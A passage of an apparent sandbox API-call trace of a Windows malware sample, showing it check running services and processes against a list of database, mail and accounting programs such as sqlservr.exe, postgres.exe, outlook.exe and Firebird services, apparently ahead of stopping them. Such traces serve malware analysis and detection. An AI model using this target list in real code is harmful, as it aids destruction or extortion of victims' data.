(lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0032.811] lstrlenW (lpString="ProfSvc") returned 7 [0032.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0032.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0032.812] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0032.812] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0032.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0032.812] lstrlenW (lpString="RpcEptMapper") returned 12 [0032.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0032.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0032.812] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0032.812] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0032.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0032.812] lstrlenW (lpString="RpcSs") returned 5 [0032.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0032.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0032.812] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0032.812] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0032.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0032.812] lstrlenW (lpString="SamSs") returned 5 [0032.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0032.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0032.812] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0032.812] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0032.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0032.812] lstrlenW (lpString="Schedule") returned 8 [0032.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0032.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0032.812] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0032.812] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0032.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0032.812] lstrlenW (lpString="SENS") returned 4 [0032.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0032.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0032.812] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0032.812] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0032.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0032.813] lstrlenW (lpString="ShellHWDetection") returned 16 [0032.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0032.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0032.813] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0032.813] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0032.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0032.813] lstrlenW (lpString="Spooler") returned 7 [0032.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0032.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0032.813] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0032.813] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0032.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0032.813] lstrlenW (lpString="SysMain") returned 7 [0032.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0032.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0032.813] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0032.813] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0032.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0032.813] lstrlenW (lpString="Themes") returned 6 [0032.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0032.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0032.813] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0032.813] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0032.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0032.813] lstrlenW (lpString="TrkWks") returned 6 [0032.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0032.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0032.813] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0032.813] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0032.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0032.813] lstrlenW (lpString="UxSms") returned 5 [0032.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0032.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0032.814] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0032.814] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0032.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0032.814] lstrlenW (lpString="WdiServiceHost") returned 14 [0032.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0032.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0032.814] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0032.814] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0032.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0032.814] lstrlenW (lpString="WdiSystemHost") returned 13 [0032.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0032.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0032.814] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0032.814] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0032.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0032.814] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0032.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0032.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0032.814] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0032.814] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0032.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0032.814] lstrlenW (lpString="Winmgmt") returned 7 [0032.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0032.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0032.814] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0032.814] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0032.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0032.814] lstrlenW (lpString="WPDBusEnum") returned 10 [0032.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0032.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0032.814] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0032.814] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0032.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0032.815] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5630a0 | out: hHeap=0x510000) returned 1 [0032.815] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x114 [0032.817] Process32FirstW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0032.818] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0032.818] lstrlenW (lpString="System") returned 6 [0032.818] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0032.818] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0032.819] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0032.819] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0032.819] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0032.819] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0032.819] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0032.819] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0032.819] lstrlenW (lpString="smss.exe") returned 8 [0032.819] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0032.819] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0032.819] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0032.819] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0032.819] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0032.819] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0032.819] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0032.819] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0032.820] lstrlenW (lpString="csrss.exe") returned 9 [0032.820] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0032.820] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0032.820] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0032.820] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0032.820] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0032.820] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0032.820] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0032.820] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0032.821] lstrlenW (lpString="wininit.exe") returned 11 [0032.821] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0032.821] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0032.821] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0032.821] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0032.821] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0032.821] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0032.821] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0032.821] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0032.821] lstrlenW (lpString="csrss.exe") returned 9 [0032.821] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0032.822] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0032.822] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0032.822] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0032.822] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0032.822] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0032.822] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0032.822] lstrlenW (lpString="winlogon.exe") returned 12 [0032.822] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0032.823] lstrlenW (lpString="services.exe") returned 12 [0032.823] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0032.823] lstrlenW (lpString="lsass.exe") returned 9 [0032.823] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0032.824] lstrlenW (lpString="lsm.exe") returned 7 [0032.824] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.824] lstrlenW (lpString="svchost.exe") returned 11 [0032.824] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.825] lstrlenW (lpString="svchost.exe") returned 11 [0032.825] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.825] lstrlenW (lpString="svchost.exe") returned 11 [0032.825] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.826] lstrlenW (lpString="svchost.exe") returned 11 [0032.826] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.826] lstrlenW (lpString="svchost.exe") returned 11 [0032.826] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0032.827] lstrlenW (lpString="audiodg.exe") returned 11 [0032.827] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.827] lstrlenW (lpString="svchost.exe") returned 11 [0032.827] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.828] lstrlenW (lpString="svchost.exe") returned 11 [0032.828] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0032.828] lstrlenW (lpString="dwm.exe") returned 7 [0032.828] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0032.829] lstrlenW (lpString="explorer.exe") returned 12 [0032.829] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0032.830] lstrlenW (lpString="spoolsv.exe") returned 11 [0032.830] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0032.830] lstrlenW (lpString="taskhost.exe") returned 12 [0032.830] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.831] lstrlenW (lpString="svchost.exe") returned 11 [0032.831] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0032.831] lstrlenW (lpString="taskeng.exe") returned 11 [0032.831] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0032.832] lstrlenW (lpString="taskhost.exe") returned 12 [0032.832] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear.exe")) returned 1 [0032.832] lstrlenW (lpString="dear.exe") returned 8 [0032.832] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="b costa.exe")) returned 1 [0032.833] lstrlenW (lpString="b costa.exe") returned 11 [0032.833] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc lock.exe")) returned 1 [0032.833] lstrlenW (lpString="rc lock.exe") returned 11 [0032.833] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="golden_bt_olive.exe")) returned 1 [0032.841] lstrlenW (lpString="golden_bt_olive.exe") returned 19 [0032.841] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hugown.exe")) returned 1 [0032.841] lstrlenW (lpString="hugown.exe") returned 10 [0032.841] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bless_gear_inquiry.exe")) returned 1 [0032.842] lstrlenW (lpString="bless_gear_inquiry.exe") returned 22 [0032.842] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ted_paragraph.exe")) returned 1 [0032.842] lstrlenW (lpString="ted_paragraph.exe") returned 17 [0032.842] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="locked welsh.exe")) returned 1 [0032.843] lstrlenW (lpString="locked welsh.exe") returned 16 [0032.843] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="votejoyceinstructors.exe")) returned 1 [0032.843] lstrlenW (lpString="votejoyceinstructors.exe") returned 24 [0032.843] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lebanon_executives.exe")) returned 1 [0032.844] lstrlenW (lpString="lebanon_executives.exe") returned 22 [0032.844] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="planners.exe")) returned 1 [0032.844] lstrlenW (lpString="planners.exe") returned 12 [0032.844] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="agreements.exe")) returned 1 [0032.845] lstrlenW (lpString="agreements.exe") returned 14 [0032.845] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tray.exe")) returned 1 [0033.537] lstrlenW (lpString="tray.exe") returned 8 [0033.537] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wp std.exe")) returned 1 [0033.538] lstrlenW (lpString="wp std.exe") returned 10 [0033.538] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lesser.exe")) returned 1 [0033.538] lstrlenW (lpString="lesser.exe") returned 10 [0033.538] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-tissue.exe")) returned 1 [0033.539] lstrlenW (lpString="right-tissue.exe") returned 16 [0033.539] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bunch.exe")) returned 1 [0033.540] lstrlenW (lpString="bunch.exe") returned 9 [0033.540] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, 